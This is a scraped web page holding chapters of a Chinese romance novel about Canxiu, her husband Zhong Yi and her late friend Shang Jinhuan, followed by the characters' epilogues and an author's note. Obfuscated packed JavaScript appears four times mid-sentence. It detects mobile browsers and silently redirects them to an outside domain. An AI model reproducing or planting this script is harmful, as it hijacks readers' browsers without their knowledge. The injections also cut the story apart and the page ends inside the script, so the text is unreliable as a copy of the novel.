钟意笑着:“所以,今天到底是不是你生日呢?” 参宿拿起那小蛋糕,左看右看,就是不回答,反而调皮地说:“你猜呀?” “你告诉我嘛。”钟意放软了声音。 “不说不说。”参宿扭过头,故意耍起小脾气。 “真不说?”钟意靠近一步,“你不说我就……” “就怎么样?”参宿挑眉看他。 “那我就每天都给你做一个生日蛋糕,确保你生日肯定能吃到。” 参宿先是一愣,随即忍不住“噗嗤”笑了出来,脱口而出:“笨蛋!” 钟意故意垮下脸:“我这个想法不够聪明吗?居然还说我是笨蛋。” “笨蛋笨蛋笨蛋!”参宿连着骂了几句,脸上却烧得厉害,一把抢过保温袋,“我去吃饭了!” 说完,几乎是落荒而逃般噔噔噔跑进了大楼。 在茶水间,遇到几个正在冲咖啡的同事。 “哟,参宿,他又来送饭啦?”一个女同事笑着打趣。 参宿红着脸点点头:“嗯。” 女上司也在,见状温和地笑道:“参宿啊,不是我说你,是不是也该考虑一下自己的终身大事了?我看那小伙子就挺不错的,耐心又好。” 参宿眼前浮现出钟意靠在车门上,插着兜,笑得漫不经心却又专注看着她的样子,心跳漏了一拍,嘴上却慌忙否认:“您别开玩笑,我们就是……普通朋友。” “普通朋友?” “普通朋友能天天变着花样给你做饭?我跟我老公结婚十年,他都没给我做过一顿饭,哪次不是我累死累活下班回去还得伺候他。” 另一个同事也加入调侃:“就是!参宿,你有没有听过那句广告词?‘遇到新东方的厨师就嫁了吧’!” 参宿只能说:“他不是新东方的。” “虽然他不是新东方的,但意思差不多嘛!嫁给这种会做饭又体贴的男人,幸福指数肯定高!” 参宿握着保温桶,感觉心里某个坚固的角落,开始动摇了。 —— 钟意系着围裙,熟练地翻炒着锅里的菜。 最后装盘时,他拿起番茄酱瓶,在米饭旁边勾勒了一个小小的爱心。 随即对着盘子傻笑起来。 笑了几秒,又猛地回过神,赶紧摇摇头:“她应该……不会多想吧?” 他盯着那颗爱心看了半晌,终于找到一个蹩脚的理由自我安慰:“没事,要是她问起来,我就说……我看很多家长给小孩做便当也淋爱心酱汁,顺手学的。” 饭菜装进保温桶,开车前往律所。 到了楼下,却没看到那个熟悉的身影。 他拿出手机拨打参宿的电话,响了很久却无人接听。 “奇怪……”他有些疑惑,犹豫了一下,决定上楼看看。 刚出电梯,正好碰到桑榆在公共茶水间热饭。 “钟意?”桑榆看到他,有些意外,“你怎么上来了?” “我来给参宿送饭,她没在楼下,电话也没人接。” 桑榆“啊”了一声:“参宿她今天请假了呀,生病在家,没跟你说吗?” “生病了?什么病?严重吗?” “别紧张别紧张,就是肠胃炎,估计是吃到什么不干净或者太刺激的东西了,拉肚子,早上跟我请假的时候声音有气无力的。” 钟意眉头紧锁:“该不会……是我昨天做的东西有问题吧?” 不对啊,他都是每天新鲜现买的食材。 桑榆随口接道:“她不能吃辣的,你昨天做辣的了吗?” 钟意猛地想起昨天确实做了一道香辣孜然牛肉,心里咯噔一下。 “她不能吃辣?她从来没跟我说过……” 桑榆叹了口气:“你这观察力不行啊,忘了我们第一次去吃火锅,参宿从头到尾只吃清汤锅吗?” 钟意一怔,当时他确实没太注意,有些无奈:“那时候我跟她还不太熟,也不可能一直盯着人家吃饭看啊。” 桑榆拍拍他的肩,调侃道:“现在熟了,以后可以好好盯着了。” —— 而此时,参宿正虚脱地从卫生间出来,脸色苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480745|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白地瘫在沙发上。 拿起手机,才看到上面好几个钟意的未接来电。 “完了……”她这才想起忘了告诉钟意自己请假的事。 刚想回拨过去,门铃突然响了。 她心里莫名一动,挣扎着爬起来去开门。 门外,站着气喘吁吁的男生。 “你怎么样了?好点没有?还疼吗?去医院看了吗?要不要去挂水?” 一连串的问题砸过来,参宿愣在原地:“你……你怎么跑来了?” 钟意这才意识到自己刚才的失态,赶紧平复了一下呼吸,举了举手里的保温桶:“哦,没事……就是给你送饭,没见到你人,桑榆她说你生病了,我……顺便过来看看。” “我没事了,就是早上起来有点拉肚子,吃了药现在好很多了。” “要……进来坐坐吗?” 钟意犹豫了一下,站在门口没动:“你一个人住,我进去……不太好吧?没事,我就是来看看你,你没事就好。” 参宿反而笑了:“哎呀,干嘛那么计较?快进来吧。” 她让开门口。 钟意这才迟疑地走了进去。 参宿给他倒了杯水。 “那个……不好意思啊,我不知道你不能吃辣。” 参宿连忙摇头:“你不要道歉,根本不是你的错,是我一开始没有告诉你。” “为什么呢?是怕麻烦到我,对吗?”钟意看着她。 参宿低下头,不说话。 钟意轻轻叹了口气:“小时候,有个阿姨告诉我一个道理。” “什么?” “她说,人的感情啊,无论是爱情、友情还是亲情,要想真的好,都得靠真心碰真心。” “如果总是把自己藏起来,不敢坦露真实的需求和感受,那关系就永远隔着一层,不会真正亲密起来。” “你在表达情感的过程中觉得很累,别人揣测你的心思也会很累。” 他顿了顿,目光温柔地落在参宿身上:“我们呢,正是在相处过程中,一点点触碰到了真实的彼此,才会变得越来越在乎对方,关系才会越来越深。” 参宿抬起头,撞进他眼眸里。 钟意看着她:“所以,在我这里,怎么样都没有关系的。请尽情地袒露你自己,可以吗?” 四目相对,某种难以言喻的情愫在安静的房间里无声地流动、发酵。 参宿看着他近在咫尺的脸,看着他眼中清晰的自己的倒影,心跳快得像是要挣脱胸腔。 不知道是哪来的冲动,或许是生病让人脆弱,或许是他的话太动人,她鬼使神差地微微向前倾身。 钟意怔住了,没有躲开。 些许凉意的吻,轻轻地落在了他的唇上。 28. 家庭,完整的家庭 “什么?你们亲了?”桑榆差点跳起来。 参宿慌忙伸手去捂她的嘴:“嘘!你小点声!” “快说快说!什么时候的事?进展神速啊你们!” 参宿的脸红得像煮熟的虾子:“哪有……我们就是……就是朋友。” “啧啧啧,都亲在一起了还朋友?哪个朋友之间会随便亲嘴?你当我三岁小孩啊?” “可能…可能就是不小心…不小心碰到了……” 桑榆被她的说辞逗笑了:“不小心?在你家,五十平米的地方,两张嘴是怎么个不小心才能精准地碰到一起?” 参宿垂下头:“我……我后面又把他推开了……” “推开了?”桑榆震惊。 “我只是一时情绪上头…再说了……” —— “我没有要和你在一起的打算,对不起。” 钟意指尖摸着嘴唇,回忆起她的话。 他烦躁地抓了抓头发,丧气地深陷进沙发里。 手机屏幕亮起,是乐团群里发的消息,确定了三月份开始全国巡回演唱会的计划,行程排得密密麻麻,几乎大半年都要在外奔波。 他握着手机,看着那条消息,心里更加纷乱如麻。 那天之后,钟意依旧每天准时来送饭,但两人之间的气氛明显变得尴尬。 递过保温桶,简单的“谢谢”、“不客气”,除此之外,再无多言。 这种沉默的送饭持续到了二月底。 参宿发了工资。 她反复想着那天的事,觉得自己当时的处理方式太过草率和伤人了。 即使她真的因为过去的阴影而对婚姻充满恐惧,也应该好好跟钟意说清楚原因,而不是那样仓促地推开他,让他误以为自己是在戏弄他的感情。 这天,钟意又来送饭。 参宿下楼时,心里鼓足了勇气,打算今天一定要跟他坦诚地谈一谈。 然而,她还没来得及开口,钟意却先一步说话了:“这可能是我近期最后一次给你送饭了。” 参宿猛地抬起头,不知所措地看着他:“为什么呀?” “乐团要开始全国巡演了,全国很多城市都要跑,可能今年大部分时间都不在嘉城了。” “啊?” 参宿第一次在他面前露出这种全然懵住的表情,心里空了一大块。 她张了张嘴,想说什么,却发现自己什么也说不出来,最终只是低下头。 “哦…好…那…那你路上一定要注意安全……” 说完,她甚至不敢再多看他一眼,抓着保温桶,转身就跑回了大楼。 钟意站在原地,看着她的背影,眼神复杂,怅然若失。 参宿心乱如麻地跑上楼,迎面正好撞见桑榆。 “怎么了这是?”桑榆问。 “怎么办…钟意要走了……” “啊?走去哪?” “他说…乐团巡演…今年可能都不回来了……怎么办…我们见不到面了……” 桑榆一针见血地点破:“参宿,你喜欢他的,对吧?” 参宿低下头,沉默了很久。 “但是我这个人,没有结婚的打算,我觉得一个人过也挺好的。” 桑榆无奈地拍拍她的脑袋:“你怎么这么傻呀?喜欢和结婚是两回事啊!又不是说你喜欢他就一定非得嫁给他不可。” “是吗?” “是的,但是我觉得,如果你喜欢一个人,就一定一定要让他知道你的心意。” 她听进去了。 那天晚上,她躺在床上,翻来覆去,再三斟酌,编辑了又删除,删除了又编辑,写了一长段文字。 她想从那个意外的吻开始解释,告诉钟意自己对他是有喜欢的感情的,然后坦诚自己因为家庭和过往经历对婚姻充满恐惧,无法接受稳定的亲密关系。她感谢钟意带给她的所有温暖和照顾,不想让两人之间就这样尴尬结束,希望他巡演一路平安。 她还在反复纠结措辞,手指一抖,竟然不小心按了发送键。 消息发了出去。 “啊!”参宿惊呼一声,把手机猛地扔到一边,整个人埋进被子里,懊恼地蹬着腿,“完蛋了完蛋了!怎么发出去了!” 整个晚上,她都在忐忑不安中度过,手机屏幕亮了又灭,灭了又亮,却始终没有等来任何回复。 “算了…本来就是我的错…他肯定生气了…不想理我了…” 就在她要放弃等待,准备关灯睡觉的那一刻,门铃突然响了。 她的心猛地一跳,跳下床,跌跌撞撞地跑去开门。 门外站着的,果然是那个她以为不会再出现的人——钟意。 他看起来风尘仆仆,头发被风吹得微乱,呼吸还有些不平稳。 “参宿。” 他看着她,深吸了一口气,像是准备了很久般,语速有些快但异常清晰。 “我从第一次见面,你喝醉了,拉着我说‘我喝醉了,可是我没有动手打你’开始,我就猜到你以前可能经历过一些不太好的事情。” “第二次见到你,你出了车祸,坐在路边哭,说你的朋友不在了……我当时……真的很心疼。” “或许从那个时候起,我就开始忍不住关注你,想靠近你。后来一直想找借口见你,没想到你先找了我,把米和油给了我……我才顺理成章地找到机会给你做饭。给你做饭的每一天,我同样觉得很幸福,很开心,很满足。每次看到你吃我做的饭,看到你笑,我的心跳都会失控,耳朵里全是自己的心跳声……” “那天你在这里亲了我,又推开我,说没有和我在一起的打算,我确实很难过。但我明白,你不是故意的,你是因为你的家庭,你的过去……我都明白,我不怪你。” “我只是很难过,你本来应该是对爱情和婚姻充满憧憬和期待的,却经历了那么多痛苦的事情,而我,好像什么都帮不到你,我也很抱歉。” 他的语气真诚而急切,仿佛怕慢一点就会失去勇气。 “我今天来,就是想告诉你,参宿,你从来都是一个很好的女孩,敏感也好,退缩也好,那都不是你的错。不要因为过去经历的那些不好的事情,就放弃追求幸福的权利。你永远都值得被爱,永远都拥有幸福的权利。” “永远都不要放弃自己,好吗?” 他一口气说完,甚至慌乱地朝她微微鞠了一躬。 然后,整张脸迅速涨红,语无伦次地说:“啊…我的话说完了!我就不打扰你休息了!你早点睡!祝你…祝你做个好梦!” 说完,根本不敢看参宿的反应,转身就跑下了楼。 留下参宿一个人懵懵地愣在门口。 —— 三月十六日,乐团在贵州顺利举办了巡演的第一场。 参宿下班,收到了一个沉甸甸的快递,拆开是各式各样的贵州特产:铜仁糯米饭、香脆的脆哨、酸甜的刺梨干,还有各种口味的土豆片。 当然,还有一张印着黄果树瀑布风光的明信片,背面是钟意的字迹,寥寥数语描绘着当地的见闻。 此后,每到一个新的城市,特产和明信片总会如期而至。 他们始终保持着密切的联系。 参宿会跟他分享律所里遇到的棘手案子和生活琐事,钟意则会讲述巡演途中遇到的有趣的人、奇特的风俗和壮丽的景色。 虽然相隔千里,再也未曾见面,但彼此熟知对方的生活。 从未远离。 转眼到了一月底,年关将至。 参宿又收到了来自西藏的包裹,里面是各种奶制品、牛肉干,还有一张布达拉宫在蓝天映衬下格外圣洁的明信片。 她抱着暖水袋,给钟意发消息:“这个牦牛酸奶我在网上看了,不用付邮费还挺便宜的,你每次寄这么多,邮费都比东西贵了。” 钟意很快回了一个委屈戳手指的表情包。 那是他们之间专用的,是他自己拍的弹吉他的视频做的动图。 参宿看着屏幕笑了,打字:“我这不是心疼你的钱嘛!” “春节快乐哦!” 过了一会儿,钟意发来一段三十秒的视频。 视频里篝火燃得正旺,周围围坐着许多笑容淳朴的藏民,钟意的头发剪短了,显得格外清爽利落。 他笑着把镜头转向大家,藏民们纷纷用带着口音的汉语对着镜头热情地喊:“你好! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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加上自身尚未完全克服的恐惧,在第一次见面时,就发生了一件尴尬的事——她看着他妈妈,犹豫了很久,那句“妈”却始终卡在喉咙里,叫不出口。 在她过往的生命里,每一次喊“妈妈”,就伴随着低声下气的恳求,伴随着无能为力的绝望,伴随着撕心裂肺的质问。 她再也无法喊出口。 没想到钟意妈妈只是淡淡一笑,语气平和:“行了,我并不喜欢那个称呼。” “我叫俞岫青,你叫我名字就可以,不用因为差了辈分而觉得不礼貌。” 参宿怔了怔:“那我叫您……岫青女士吧。” 俞岫青点点头:“岫青女士,我很喜欢。” 准备晚饭的时间,自然是钟意在厨房忙活。 参宿和俞岫青坐在客厅,气氛难免还是有些尴尬。 俞岫青起身进了卧室,片刻后拿出来一个丝绒盒子,递给参宿:“这个给你,你们结婚结得仓促,我什么都没来得及准备,礼薄,你见谅。” “以后每年到日子了,我都会给你备一份。” 参宿吃惊地打开,里面是一条做工精致的金手链。 她连忙推拒:“这太贵重了!我不能收!钟意之前有买过给我的……” 俞岫青语气平淡:“他是以你爱人的身份买给你的,而我是以另一个身份给你的,这不一样。” 参宿犹豫了一下,最终还是接了过来。 “谢谢您,岫青女士。” 俞岫青不跟他们同住,也极少干涉他们的生活。甚至在听到参宿坦言自己可能没有生育的打算时,她也完全不予置评,只是说:“这是你们两人之间的事。” 钟意了解后,和她商量:“完全可以啊。” “我们可以去丁克,或者我去做结扎也行。如果以后觉得孤单,养只小猫小狗陪着我们就很好。” 他真的去预约了咨询。 反而是参宿拦住了他。 她的内心无比矛盾:一方面,她恐惧生育,不知该如何承担一个母亲的责任,怕重蹈覆辙;另一方面,随着时间的流逝和观念的微妙变化,人到某个阶段,又会渴望一个更完整的家庭,渴望通过自己的能力,养育一个孩子,让他避开自己曾经历的所有风雨,在充足的爱里长大。 最终,在反复犹豫下,参宿在31岁那年,生下了一对龙凤胎。 孩子们天真烂漫。 而她的丈夫钟意,永远温和,永远带着笑,永远能沉着地解决任何事情,永远不会对她大喊大叫,更永远不会对她动手。 29. 和好,我们并没有吵架 35岁这一年,沉寂许久的高中同学群忽然有人组织了一次聚会。 参宿去了。 到场的只有二十个人,还不到当年的一半。 大家都是从附中毕业的,最次的也上了一本,如今在各行各业都算是混得不错。 聚餐时,大多是聊聊近况,当然,也有人提起了当年。 比如男生逃课去球场打篮球,连饭都不吃,女生们则是挤出时间回宿舍洗头,没有吹风机,顶着湿发,冬天风一吹甚至都能结冰。 那段不可再来的青葱岁月。 聚餐结束后,参宿走出来,张扬上前跟她打了个招呼。 他已不再是少年时那般意气风发、锋芒毕露的模样,变得沉稳了许多,西装革履。 两人并肩走了一小段路,闲聊了几句。 张扬说他在一家公司做项目经理,正值事业上升期,经常要陪老总喝酒应酬,身心俱疲。 参宿也笑着说自己在律所,遇到的客户形形色色,有的恨不得一条协议修改八百遍,有的则异想天开提出各种匪夷所思的条件,周旋其间也是劳心劳力。 他们都已不再是少年时无忧无虑的模样。 张扬目光一瞥,看到了参宿无名指上闪烁的戒指,愣了一下:“你……已经结婚了?” 参宿笑了笑:“嗯,结了。” 张扬点了点头,没再追问什么。 参宿却自然地问他:“你呢?当时那么一个帅小伙,考上大学,应该有很多女孩子喜欢你吧?感情问题怎么样了?” 张扬挠了挠头发,笑得有些勉强:“嗨,暂时不考虑这些了,先抓紧工作吧。” 参宿表示理解地点点头。 忽然,她像是想起什么,语气惋惜的轻轻说了一句:“也不知道商尽欢最近怎么样了?聚餐她也没来。” 听到这个名字的瞬间,张扬整个人猛地僵在了原地,脸色霎时变得苍白。 而参宿却好像全然未觉,只是继续感慨地往前走:“现在想想当时也真是的,不应该跟她吵架的。我们俩连和好的机会都没有,后面也没再联系……” “真让人遗憾。” 寒风掠过,吹起参宿的衣角。 她生病了。 —— 生活如同平稳的河流,继续向前流淌。 随着龙凤胎渐渐长大,参宿越来越惊觉,女儿的小脸,眉眼之间,跟小时候的自己很像。 钟意常常拿着照片对比,然后笑着对女儿说:“看,你多像妈妈呀。” 他却没注意到,坐在沙发上的参宿,眼神常常会因此变得空茫而恍惚。 参宿开始对女儿越来越好,她要将自己童年缺失的一切,加倍倾注在这个酷似自己的小生命上。 她给女儿买无数的玩具、漂亮的小裙子、堆积如山的零食,远超实际所需。 当女儿不小心打碎东西,她永远是第一个冲上去,紧张地检查女儿有没有受伤。 有时,给女儿买完东西,小儿子也会仰起脸,小声地说:“妈妈,我也要。” 这时,参宿才会猛地惊觉,自己还有一个孩子。 钟意把这一切看在眼里。 他明白,这一定与妻子深埋的过去有关,他无法苛责,只能更努力地扮演好父亲的角色,默默地将更多的关爱和陪伴给予被忽视的小儿子。 直到有一天,参宿刚给女儿买了一个新的玩具熊,转身去倒水的功夫,就看见儿子正试图从女儿怀里把熊抢走。 参宿第一次对儿子发了脾气。 她一把夺过玩具熊:“你要干什么!你怎么可以抢姐姐的东西?这是姐姐的,不是你的!” 小儿子被吓住了,愣了两秒,“哇”地一声哭了出来,伤心又委屈地喊:“可是妈妈,我也是你的孩子呀,你为什么不爱我呢?” —— “我也是你的孩子呀,你为什么不爱我呢?” 许多年前,她也曾这样,对着林娟,发出过同样绝望的质问。 紧接着,她脑海里浮现出另一幅画面。 病床上奄奄一息的林娟,和她自己冰冷又带着恨意的声音:“我恨你,妈妈,我恨你恨得要死,恨你恨得抓狂。” “你就带着你的悔恨、你的自责、你的不甘。” “去死吧。” 她觉得自己会和林娟有同样的下场。 这一切,就像一个无法挣脱的恶毒魔咒,让她重蹈覆辙,生不如死。 参宿大病了一场。 高烧反复,嗓子烧得干疼嘶哑。 钟意白天带她去诊所打针,晚上她又会烧起来,浑身骨头都疼。 迷迷糊糊中,她呓语般喃喃:“好想吃刨冰……嘉华的刨冰……” 钟意心疼地哄她:“乖,等你好起来,我们再去吃,现在不能吃冰的。” 参宿眼中那点微弱的光彩一点点黯淡下去。 钟意虽然不明白一碗刨冰为何如此重要,却知道绝不能让她在病中如此失望。 那天夜里,他开着车,跑遍了全城的嘉华店,最后得知,招牌刨冰早在十八年前下架了。 他立刻上网想订购刨冰机,又嫌快递太慢,干脆直接开车去了最大的超市,买回了机器,又凭着网上搜罗到的模糊图片和零碎教程,一个人在厨房里折腾到半夜,一点点尝试复刻。 那是一碗刨冰,底上绵密的冰沙,上面铺着红豆沙、椰果、西瓜,上面淋着一层百香果酱。 参宿眼中的光,真的一点点又亮了起来。 她吃了一口,冰凉清甜的口感缓解了喉咙的灼痛。 说来也怪,那天之后,她的病竟真的慢慢好了起来。 钟意长长松了口气,心想,还好做了这碗刨冰。 经历了这场风波,参宿大梦初醒。 她努力振作起精神,开始有意识地纠正自己的偏心,带着愧疚,加倍地补偿儿子,带着两个孩子一起逛街、买东西,努力做到一碗水端平。一发工资,孩子们合理的愿望她都尽量满足。 一家四口存钱,天南地北地去旅游。 钟意还为她写了一首歌,那时他们已年近五十。 在某个夕阳漫天的傍晚,两个孩子在不远处的草地上追逐嬉戏,钟意抱着吉他,轻轻地为她弹唱: 那年冬夜风泠泠, 路灯下拉长的影, 一碗热面分着吃, 暖意抵过了寒冰。 走过四季和人海, 看过烟花落又开, 你的泪光我接过, 我的歌谣你来猜。 岁月啊,慢些走, 白发爬上了头, 牵着手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480747|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢走, 故事还没到最后。 —— 后来的几十年,时光被按了加速键。 两个孩子飞快地长大成人,都考上了很好的大学。 儿子出国留学那年,遇到了心爱的女孩,决定定居海外。女儿则走上了艺术道路,跟着俞岫青学习民谣,创作发行自己的单曲,销量颇丰。 参宿和钟意到了退休年纪,领着退休金,过着平淡普通的日子。他们养了一只小狗,彼此作伴。 参宿又一次回到了附中旧址,只是彼时的学校已迁往新校区,这里只剩一片空旷的平地,当年的教学楼、宿舍早已消失无踪。 她和商尽欢曾经常去的那片蒲公英花田,也早已荒芜枯萎,无人照料。 她买来种子,翻土,浇水,日复一日地忙碌。 春去秋又来,慢慢地,荒地上终于又冒出了大片大片毛茸茸的白色蒲公英。 70岁这年,参宿查出了阿尔兹海默症。 她逐渐记不清很多人和事,记不得自己有一双儿女,记不得温和的丈夫钟意,记不得自己曾是附中的学生,也记不得那个叫商尽欢的朋友。 她只是常常固执地来到这片蒲公英田边,慢慢地坐下,后来连坐着的力气都快没有了,便慢慢地躺倒在田野里,闭上眼睛。 她模糊地觉得,要在这里等一个人来,那个人会带她走。 等啊等,田里的蒲公英开了又谢,谢了又开,最后只剩下稀稀落落的几朵。 她小心翼翼地摘了三朵,护在怀里。 这时,她听到轻轻的脚步声走近。 参宿没有睁开眼,只是轻声说:“你终于来了,我等你很久了。” 她慢慢举起那三朵蒲公英,声音苍老:“我这里只剩下三朵蒲公英了。你只有三次机会,到我这里来吹散它,去弥补曾经的缺憾。” 我一步一步走到她面前,75岁的参宿,白发苍苍,皱纹深深,她努力抬起那双已经浑浊的眼睛看着我。 我说:“你这又是何苦呢?早知道我会困住你那么久,我们还是不要认识好了。” “你错了,我们注定要相遇的。” 她气息微弱,却说得清晰:“并不是因为我在12岁那年来到那所小学,然后遇见你。而是我必须经历那一切,去到那个小学,只为了遇见你。” 是啊,我们之间,注定要有那么多羁绊。 “快60年了,”她像少年时期那样,嗔怪我,“你都从来没有来我的梦里看看我。” 我说:“可是你很怕鬼。” 她说:“可是你并不是鬼。” 我说:“我是,我已经死了很久了。” 她安静了一会儿,轻轻说:“可是你是我最亲爱的人,我不怕你。” 她顿了顿,用尽力气般,说出那句跨越了半个多世纪的话:“我们可以和好吗?” 我蹲下身,看着她苍老的面容,轻声说:“我们并没有吵架,参宿。” 并没有吵架。 “来吧,这里还剩最后一朵蒲公英,吹散它,去填补你的缺憾吧。” 75岁的她,用枯槁的手,轻轻拉住18岁的我。 高考那年我们没有等到的旭日东升,在这一天,终于穿透时光的层层迷雾,温暖而磅礴地,照亮了这片寂静的蒲公英田野。 30. 番外[番外] 嘿,是我,商尽欢。 人生得意须尽欢的那个尽欢。 当然,我的前十八年,跟“得意”这两个字,实在不怎么沾边。 甚至可以说是一个巨大的悲剧,无法改变的遗憾。 如果非要给我这十八年找个分水岭,那毫无疑问,是我爸的离开。那之前,我或许还是个没心没肺的小孩;那之后,我就被猛地推进了一片苦海,连个扑腾的机会都没有。 外表看起来,我只是个有点沉默愚钝的女孩。但内里,早就被自责、恐惧和无力感给蛀空了。我每天都觉得,我的人生好像从那一刻起就脱了轨,过不好了。 后来,支撑我爬起来,逼着自己往前走的,不是什么伟大的梦想,而是我想赎罪,我想弥补。弥补我犯下的错误,弥补我爸离开带给我妈和我奶奶带来的伤害。我必须要做点什么,让她们的日子能好过一点点,哪怕只是一点点。 于是,学习成了我唯一能抓住的救命稻草。它变成了一种手段,一个机会,一个能让我们这个摇摇欲坠的家,看起来还能有点希望的机会。所以我拼了命地学,挤破了头进了附中,以为能换个新天地。 结果呢?我遇到了第二个波折——徐春红老师。像她这样的老师,在教育系统里并不少见。少年人在某个体系权威者面前,除了隐忍,除了吞下那些冷眼、忽视和区别对待,还能做什么呢? 我和参宿,也因为某些原因,承受过来自其他同学的敌意。而我,商尽欢,从来也不是什么完美的好人。我心里有阴暗面,像地底暗河,无声无息地流淌在黑夜里,见不得光。我也做过一些报复性的、上不了台面的事。 我承认,我就是这样一个有瑕疵、甚至会以恶制恶的人。 再来说说参宿吧。 我很小就认识她了,大概十二岁,那时候的她,在我眼里就是个乐天派的小太阳,光芒万丈,好像全世界都理所当然地该喜欢她。 我当然也不例外。 可当我们分开后又重逢,我对她的感情变得极其复杂。无可否认,我心里是带着恨的。我恨她当年为什么离开?那种被抛下的感觉,和后来发生的一系列变故,甚至我爸的离世,在我偏执的的逻辑里,都和她的离开有着千丝万缕的关联。 所以你看,我对参宿的感情就是这么拧巴。一方面,我爱她,见不得别人伤害她半分;另一方面,我自己却又成了加害者,用冷暴力、拒绝沟通的方式,一遍遍地刺伤她。我那时自作聪明地觉得,无论我怎么作,怎么闹,参宿永远是那个包容的、完美的朋友,她会永远站在原地等我。 这种想法,自私又愚蠢,也直接导致了我们最后的争吵、冷战和无可挽回的疏远。 人生大概有三万天吧,遗憾简直数不胜数。 从出生开始,我们就会因为各种事情摔跟头,会产生消极的念头,性格也可能变得阴郁、不那么可爱。 这听起来挺操蛋的,对吧? 但我想说的是,当你意识到,自己才是这个人生的唯一主宰,当没有人能真正替你扛起一切的时候,希望你还能有勇气,尽可能地让人生少留一点遗憾,让自己的人生,稍微那么精彩一点点。 毕竟,我叫商尽欢,人生得意须尽欢。 —— 你好呀,我是参宿,就是那个听起来有点浪漫又有点孤单的星星的名字。 很多人觉得,在这个故事里,似乎总是我在包容商尽欢。她发脾气,我忍着;她冷暴力,我受着;她做出那些幼稚又伤人的举动,我好像都一一接住了。 但其实不是这样的。 回头细想,商尽欢何尝不是在用她的方式包容着我? 在我被流言缠身、最孤立无援的时候,是她站到了我身边。在我因为家庭的事情崩溃、觉得全世界都灰暗的时候,是她陪我蹲在寒冷的夜里,听我哭,虽然她可能不会安慰人。 她记得我胃不好,她吃烤鸭时会把唯一的腿夹给我,她为了朋友不顾一切怒怼徐春红,她甚至在我自己都放弃自己的时候,还没有彻底放弃我。 我觉得她对我很好,真的。 而现在回想起来,我觉得我做得还远远不够。 我包容得不够彻底,理解得不够深入。 所以在这里,我也想借这个故事提醒所有看到这里的人:对你爱着的人,一定要好一点,再好一点。要努力地坦诚,要尽力地去包容,要勇敢地去沟通。 因为你永远都不会知道,哪一次看似普通的争吵,哪一次不经意的转身,就可能成了你们之间的最后一面。 不要像我和商尽欢这样,留下那么多无法弥补的遗憾,和那么多再也来不及说出口的话。 生命很脆弱,人和人之间的关系,也是。 这个世界上,有很多像我一样的人。我们看起来天生开朗、乐观,好像跟谁都能聊上几句,是人群里永远不会冷场的那一个。在家里,我们是懂事的孩子,在学校,我们是好相处的同学。我们似乎永远在笑,永远温和,永远感受不到委屈、难过、不甘。 我们擅长隐忍,习惯用笑容面对一切。 可是,这些被强行压下去的情绪,并不会真的消失。它们会在你长大后的某个瞬间,在某个夜深人静的时刻,在某句无心的言语触碰下,猛地反扑回来。它会让你的性格变得拧巴,让你在面对很多事情时,下意识地选择逃避。 然后,我们不得不面对一个几乎所有来自不那么幸福家庭的孩子都会思考的问题:关于原生家庭,关于过去所受的伤害,我们到底该不该选择原谅? 我想分享一点自己的感悟。 在我看来,这个命题往往指向三种可能的结果:原谅、不原谅,以及介于两者之间的“不清不楚”。而实际上,前两种在我看来可以归为同一类——无论你最终选择原谅,还是坚决不原谅,本质上都已经完成了一次与自我和解的旅程。你做出了选择,也接受了这个选择背后的重量。 而最艰难、最消耗人的,恰恰是第三种状态:悬而未决、反复挣扎。你既无法彻底放下恨,也无法坦然去原谅,于是不断在回忆中翻找证据——如果你试图靠近“原谅”,就不得不努力寻找他们爱过你、善待过你的痕迹,且这些痕迹必须足够有力,足以覆盖那些创伤的重量。但若发现在痛苦面前,爱的证据如此稀薄,你立刻就会陷入迷茫和自我怀疑。 反之,若你想走向“不原谅”,又会不自觉搜集那些被伤害的细节,强化自己的立场。可万一就在这时,一些温暖的片段又突然浮现,使你动摇、愧疚,甚至自责。你就这样被两种力量反复撕扯,进退两难。 你不愿放过自己,也无法定义他们。而我想说的是,或许我们不必急于归为“原谅”或“不原谅”。有些关系就是复杂难解的,有些伤害就是无法被轻易抵消的,这没关系。 真正重要的,不是决定他们值得被怎样对待,而是你如何安置自己的情绪,如何不再让过去持续地伤害现在的你。你可以允许自己暂时“说不清”,但不必永远困在第三态。 你值得一种更自由的生活,在那里,原不原谅不再是一个必答题,而你,已经向前走了足够远。 —— 致读者。 这篇小说,始于23年年底,一个突如其来的念头。那时候就想写点什么,不写满天飞的校园恋爱,不写豪门恩怨,就想写两个普普通通的青春期女孩,写她们之间的友谊,写她们是怎么在夹缝里挣扎、怎么一点点长大的。 这算是我正经构思的第一个故事,我第一次试图塑造有血有肉的人物,第一次尝试处理复杂的情感纠葛,第一次想要探讨那些深植于成长过程中的痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 